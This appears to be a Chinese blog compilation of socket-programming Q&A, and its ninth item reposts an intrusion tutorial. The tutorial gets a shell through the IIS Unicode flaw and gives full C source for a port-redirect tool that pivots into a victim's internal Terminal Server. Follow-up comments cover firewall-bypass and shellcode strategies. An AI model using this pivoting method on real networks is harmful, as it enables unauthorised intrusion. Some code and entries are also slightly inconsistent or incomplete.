socket编程问题汇总(一)

问题一:

在Linux下建立Socket,结果发现建立了640多个socket连接后就再也连不上去了, 
而在Windows下,建了5000多个连接发现还能连上去…… 
请问在Linux下是不是需要修改什么限制啊??还是要做什么特殊的处理? 
  
BTW:原来程序是在Windows下运行的,后来为了追求更好的性能才移植到Linux下, 
结果没想到会是这种结果 
  
Linux的版本是Redhat 9,我已经更改了ulimit -n 8192,将单个进程打开文件数 
加大(说的不对敬请拍砖),结果还是一样 
  
请问倒底是怎么回事啊?谢谢 


答:文件描述符个数限制。


问题二:

应用需求:  
     应用环境:Debain Linux(版本记不住了) 
     向一台主机发送数据包,用send发送,发送的数据量很大,几百兆左右,因此由于 
  
send一次对数据包长度的限制,只能分多次send.而且每次发送的数据包的大小是 
20 
兆左右.所以发送一次的时间:从执行send()到成功返回会有一段时间.现在的问题 
是, 
在send()的过程中,如果网络突然中断,那么send()过程就会阻塞,直到网络重新回 
复 
正常才能继续发送,现在要求,一旦网络中断,程序能够跳出来,打印出错信息. 
请问应该如何解决? 


答:

(1)

select + ioctlsocket (win platform) 
select + ioctl (unix platform) 
  
以上只能在不拔掉网线的情况下使用啦 
  
如果要对付拔掉网线的情况, 
Lan: 聊天协议 
wan: setsocketopt 啦 
  
至于每一个函数怎么用自己查帮助吧! 


--------------------------


(2)

ssize_t total, nsent, n; 
char buf[...]; 
set the socket to non-blocking; 
total = 0; 
n = buf's size; 
while (1) 

     if ((nsent = send(sockfd, buf + total, n - total, 0)) < 0) 
     { 
         if (errno == EAGAIN) 
         { 
         /* the send buffer is STILL full, and we assume that the 
            network is broken. As you said, we should stop sending 
            and return with an error indicating broken network */ 
  
            myerrno = ENETWORKBROKEN;    /* defined by yourself */ 
         } 
         else 
         { 
             myerrno = ESYSTEM;    /* it's some system error. caller 
                                      should examine the 'errno' */ 
         } 
         break; 
     } 
     if ((total += nsent) == n)    /* transmittion completes */ 
         break; 
  
     /* now, the send buffer is full, and we wait a while of 1/10 
        second. During this time, if some TCP packets is conformed by 
        the peer, the socket will become writable; if not, the next 
        send will fail with EAGAIN (EWOULDBLOCK) */ 
     usleep(1000 * 1000); 

  
  
free(something); 
close(something); 
return nsent < 0 ? -1 : total; 


问题三:

为什么ftruncate总是出错呢?大家帮忙看看。


#include "Const.h" 
int main(int argc,char **argv) { 
         int fd; 
         char *ptr; 
         off_t len; 
         fd = shm_open(argv[1],O_RDWR|O_CREAT,S_IRUSR|S_IWUSR); 
         len = atoi(argv[2]); 
         if(ftruncate(fd,len) == -1) 
                 { 
                         printf("truncate file failure,%d\n",errno); 
                         exit(1); 
                 } 
         ptr = mmap(NULL,len,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0); 
         exit(0); 


问题四:

关于wattcp。


问题五:

stevens的书上有一个例子: 
在客户端向服务器发送connect请求后,服务器listen与accept中间间隔了一段时间 
而在这段时间中,客户端人为的发送了一个RST,那么服务器如果没有考虑客户端的动作 
就会阻塞在accept上 
这个我好像有点不太明白啊 
是不是可以理解为: 
tcp在发现RST后,把这个连接从已连接队列中删除,而accept却找不到这个队列,因此就 
阻塞在那里。 
不知道我的理解对不对,请指教 


答:是。


问题六:

答:

P层会自动去算。


问题七:

请问写ftp server的时候,端口号怎么分配 


答:

先bind到端口0 ,然后getsockname 得到 端口号 。


问题八:

TCP SYN 的问题 

三次握手中, 
  
如果我的SYN包带数据,别人的SYN|ACK或者RST|ACK中不会把数据发送回来?

答:不会。


问题九:

突破TCP-IP过滤/防火墙进入内网(一) 

答:摘要 
  
  我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer 
机器。 
  
(2002-09-16 13:29:24) 
  
------------------------------------------------------------------------------ 
-- 
By Wing, 出处:ronnie 
  
  
  (注:本站转载这篇文章旨在希望通过这篇文章来如何预防网络的安全,并不鼓励读者去 
做相应的破坏活动,特此声明)  
  
  作者:eyas  
  
  现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽 
带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到I 
nternet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接 
到Internet。  
  
  也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我 
。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者 
已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的 
服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。  
  
  Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端 
]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗? 
呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其 
他的话,原理也差不多,把程序稍微修改就行了。  
  
第一部分:利用TCP socket数据转发进入没有防火墙保护的内网 
  
  假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。  
  
  
  
sever--Ethernet--攻击者  
|  
hup-192.168.1.x  
|  
192.168.1.3  
  
   
  
  我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接 
和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的wind 
ows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid, 
只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我 
们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写 
一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人 
内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务 
器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现 
在敌人的网络拓扑是我们给他设计的,哈哈。  
  
  攻击流程如下:  
  
  <1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成 
别的,那我们就要相应的修改TermClient了]等待我们去连接。  
  
  <2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。  
  
  <3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的 
TermServer[192.168.1.3]  
  
  <4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的 
为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的 
192.168.1.3,感觉怎么样?:)  
  
  程序代码如下:  
  
  
/**********************************************************************  
  
Module Name:AgentGateWay.c  
  
Date:2001/4/15  
  
CopyRight(c) eyas  
  
说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,  
  
就可以进入内网了  
  
sock[0]==>sClient sock[1]==>sTarget  
  
**********************************************************************/  
  
#include   
  
#include   
  
#include "TCPDataRedird.c"  
  
  
  
#define TargetIP TEXT("192.168.1.3")  
  
#define TargetPort (int)3389  
  
#define ListenPort (int)3389//监听端口  
  
  
  
#pragma comment(lib,"ws2_32.lib")  
  
  
  
int main()  
  
{  
  
WSADATA wsd;  
  
SOCKET sListen=INVALID_SOCKET,//本机监听的socket  
  
sock[2];  
  
struct sockaddr_in Local,Client,Target;  
  
int iAddrSize;  
  
HANDLE hThreadC2T=NULL,//C2T=ClientToTarget  
  
hThreadT2C=NULL;//T2C=TargetToClient  
  
DWORD dwThreadID;  
  
  
  
__try  
  
{  
  
if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)  
  
{  
  
printf(" WSAStartup() failed:%d",GetLastError());  
  
__leave;  
  
}  
  
sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);  
  
if(sListen==INVALID_SOCKET)  
  
{  
  
printf(" socket() failed:%d",GetLastError());  
  
__leave;  
  
}  
  
  
  
Local.sin_addr.s_addr=htonl(INADDR_ANY);  
  
Local.sin_family=AF_INET;  
  
Local.sin_port=htons(ListenPort);  
  
  
  
Target.sin_family=AF_INET;  
  
Target.sin_addr.s_addr=inet_addr(TargetIP);  
  
Target.sin_port=htons(TargetPort);  
  
  
  
if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR)  
  
{  
  
printf(" bind() failed:%d",GetLastError());  
  
__leave;  
  
}  
  
if(listen(sListen,1)==SOCKET_ERROR)  
  
{  
  
printf(" listen() failed:%d",GetLastError());  
  
__leave;  
  
}  
  
//scoket循环  
  
while(1)  
  
{  
  
printf(" *************Waiting Client Connect to************** ");  
  
iAddrSize=sizeof(Client);  
  
//get socket sClient  
  
sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);  
  
if(sock[0]==INVALID_SOCKET)  
  
{  
  
printf(" accept() failed:%d",GetLastError());  
  
break;  
  
}  
  
printf(" Accept client==>%s:%d",inet_ntoa(Client.sin_addr),  
  
ntohs(Client.sin_port));  
  
//create socket sTarget  
  
sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);  
  
if(sock[1]==INVALID_SOCKET)  
  
{  
  
printf(" socket() failed:%d",GetLastError());  
  
__leave;  
  
}  
  
//connect to target port  
  
if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)  
  
  
{  
  
printf(" connect() failed:%d",GetLastError());  
  
__leave;  
  
}  
  
printf(" connect to target 3389 success!");  
  
//创建两个线程进行数据转发  
  
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);  
  
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);  
  
//等待两个线程结束  
  
WaitForSingleObject(hThreadC2T,INFINITE);  
  
WaitForSingleObject(hThreadT2C,INFINITE);  
  
CloseHandle(hThreadC2T);  
  
CloseHandle(hThreadT2C);  
  
closesocket(sock[1]);  
  
closesocket(sock[0]);  
  
printf(" *****************Connection Close******************* ");  
  
}//end of sock外循环  
  
}//end of try  
  
__finally  
  
{  
  
if(sListen!=INVALID_SOCKET) closesocket(sListen);  
  
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);  
  
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);  
  
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);  
  
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);  
  
WSACleanup();  
  
}  
  
return 0;  
  
}  
  
/*************************************************************************  
  
Module:TCPDataRedird.c  
  
Date:2001/4/16  
  
CopyRight(c) eyas  
  
HomePage:www.patching.net  
  
Thanks to shotgun  
  
说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget  
  
*************************************************************************/  
  
#define BuffSize 20*1024 //缓冲区大小20k  
  
//此函数负责从Client读取数据,然后转发给Target  
  
DWORD WINAPI TCPDataC2T(SOCKET* sock)  
  
{  
  
int iRet,  
  
ret=-1,//select 返回值  
  
iLeft,  
  
idx,  
  
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize  
  
char szSendToTargetBuff[BuffSize]={0},  
  
szRecvFromClientBuff[BuffSize]={0};  
  
fd_set fdread,fdwrite;  
  
printf(" *****************Connection Active******************* ");  
  
while(1)  
  
{  
  
FD_ZERO(&fdread);  
  
FD_ZERO(&fdwrite);  
  
FD_SET(sock[0],&fdread);  
  
FD_SET(sock[1],&fdwrite);  
  
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)  
  
{  
  
printf(" select() failed:%d",GetLastError());  
  
break;  
  
}  
  
//printf(" select() return value ret=%d",ret);  
  
if(ret>0)  
  
{  
  
//sClinet可读,client有数据要发送过来  
  
if(FD_ISSET(sock[0],&fdread))  
  
{  
  
//接收sock[0]发送来的数据  
  
iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);  
  
if(iRet==SOCKET_ERROR)  
  
{  
  
printf(" recv() from sock[0] failed:%d",GetLastError());  
  
break;  
  
}  
  
else if(iRet==0)  
  
break;  
  
printf(" recv %d bytes from sClinet.",iRet);  
  
//把从client接收到的数据存添加到发往target的缓冲区  
  
memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);  
  
//刷新发往target的数据缓冲区当前buff大小  
  
iSTTBCS+=iRet;  
  
//清空接收client数据的缓冲区  
  
memset(szRecvFromClientBuff,0,BuffSize);  
  
}  
  
//sTarget可写,把从client接收到的数据发送到target  
  
if(FD_ISSET(sock[1],&fdwrite))  
  
{  
  
//转发数据到target的3389端口  
  
iLeft=iSTTBCS;  
  
idx=0;  
  
while(iLeft>0)  
  
{  
  
iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);  
  
if(iRet==SOCKET_ERROR)  
  
{  
  
printf(" send() to target failed:%d",GetLastError());  
  
break;  
  
}  
  
printf(" send %d bytes to target",iRet);  
  
iLeft-=iRet;  
  
idx+=iRet;  
  
}  
  
//清空缓冲区  
  
memset(szSendToTargetBuff,0,BuffSize);  
  
//重置发往target的数据缓冲区当前buff大小  
  
iSTTBCS=0;  
  
}  
  
}//end of select ret  
  
Sleep(1);  
  
}//end of data send & recv循环  
  
return 0;  
  
}  
  
//此函数负责从target读取数据,然后发送给client  
  
DWORD WINAPI TCPDataT2C(SOCKET* sock)  
  
{  
  
int iRet,  
  
ret=-1,//select 返回值  
  
iLeft,  
  
idx,  
  
iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize  
  
char szRecvFromTargetBuff[BuffSize]={0},  
  
szSendToClientBuff[BuffSize]={0};  
  
fd_set fdread,fdwrite;  
  
  
  
while(1)  
  
{  
  
FD_ZERO(&fdread);  
  
FD_ZERO(&fdwrite);  
  
FD_SET(sock[0],&fdwrite);  
  
FD_SET(sock[1],&fdread);  
  
if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)  
  
{  
  
printf(" select() failed:%d",GetLastError());  
  
break;  
  
}  
  
if(ret>0)  
  
{  
  
//sTarget可读,从target接收数据  
  
if(FD_ISSET(sock[1],&fdread))  
  
{  
  
//接收target返回数据  
  
iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);  
  
if(iRet==SOCKET_ERROR)  
  
{  
  
printf(" recv() from target failed:%d",GetLastError());  
  
break;  
  
}  
  
else if(iRet==0)  
  
break;  
  
printf(" recv %d bytes from target",iRet);  
  
//把从target接收到的数据添加到发送到client的缓冲区  
  
memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);  
  
//清空接收target返回数据缓冲区  
  
memset(szRecvFromTargetBuff,0,BuffSize);  
  
//刷新发送到client的数据缓冲区当前大小  
  
iSTCBCS+=iRet;  
  
}  
  
//client可写,发送target返回数据到client  
  
if(FD_ISSET(sock[0],&fdwrite))  
  
{  
  
//发送target返回数据到client  
  
iLeft=iSTCBCS;  
  
idx=0;  
  
while(iLeft>0)  
  
{  
  
iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);  
  
if(iRet==SOCKET_ERROR)  
  
{  
  
printf(" send() to Client failed:%d",GetLastError());  
  
break;  
  
}  
  
printf(" send %d bytes to Client",iRet);  
  
iLeft-=iRet;  
  
idx+=iRet;  
  
}  
  
//清空缓冲区  
  
memset(szSendToClientBuff,0,BuffSize);  
  
iSTCBCS=0;  
  
}  
  
}//end of select ret  
  
Sleep(1);  
  
}//end of while  
  
return 0;  
  
}  


----------------

其中心思想跟历史上所有同类小程序一样,简单总结一下, 
  
1. 在有FW介入的情况下建立多条相关TCP连接 
  
    一般FW基于状态,许出不许进,换句话说,从内向外主动发起连接一般 
    都没问题。 
  
    bind+connect 
    connect+connect 
    bind+bind 
  
    无非就是这三种组合,基于不同的网络环境选择不同的策略。 
  
2. 在1中建立的多条TCP连接之间完成数据区的转发动作。 
  
大多数情况可能是victim只开放了80这样的周知端口,shellcode获取控制后 
可以找出当前所用tcp连接,而不必另行bind或者connect,这是突破远端FW与 
己端NAT的最佳选择。 

--------------------

四哥说的第2种情况,我想在3389端口开放时候,仍然利用3389 
端口,而不再重新利用其他端口或者当前其他tcp连接所用的 
端口.原理是: 
   
利用terminal的virtual channel技术,自己在server端先安装一个 
利用virtual channle的程序,然后自己这边client也写个利用 
virtual channel的程序和server端的那个程序通信。当然这两个 
程序还是使用3389端口,而且通信过程只有这两个程序理解自己的格式。 
  说起来,这有点像IP tunnel。 
   
win 2003 server对于sound和其他device map就是利用这种技术。你用 
win2003的客户端登陆2003 server,然后听歌曲时候,你可以发现你不 
听歌和听歌,程序只是使用一个3389端口,而不是 说听歌时候又多开一个端口 
用来传送声音数据。(首先你要开启win 2003 server的声音服务,这跟 
win2k的一个区别所在) 
   
  实现起来比较复杂: 
1)得写个server端利用virtual channel得程序,难度还行。 
2)得写个client端利用virtual channel的程序,跟1)差不多。不过这里 
   假定client是windos平台,若是非win平台,得掌握terminal client原理, 
   必要时掌握terminal client源程序。这样从可以修改其远程序,加上自己 
   的代码。 
   这里为什么win平台不需要掌握远程序就可以写 client端程序,是因为win平台 
   已经提供了接口,你只要按照接口规范写就行了。而现在的非win平台的client 
   端并没有virtual channel的接口规范,没有这样的接口,只好修改源程序让它 
   有这样的接口了。 
  
最后,假若发现ms的terminal server端存在溢出漏洞,自己会非win平台的源程序,就 
可以很快(全程<20分钟)的写出个attack 程序。对于win平台上的ms termianl  
client(mstsc.exe),要是修改它来attack,可就非常难了。哈哈 


--------------------------------


> 最后,假若发现ms的terminal server端存在溢出漏洞,自己会非win平台的源程序,就 
> 可以很快(全程<20分钟)的写出个attack 程序。对于win平台上的ms termianl 
> client(mstsc.exe),要是修改它来attack,可就非常难了。哈哈 
  
呵,这个倒是一点不假,非Win平台要折腾Win平台的东西,实际就是全面的 
Network/System Hacking,smbdie刚一披露,vertex就写了攻击程序,因为 
他一直在折腾SMB解码。 
  
看来你现在对远程终端这套东西很熟了啊。我是一点不懂的。


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值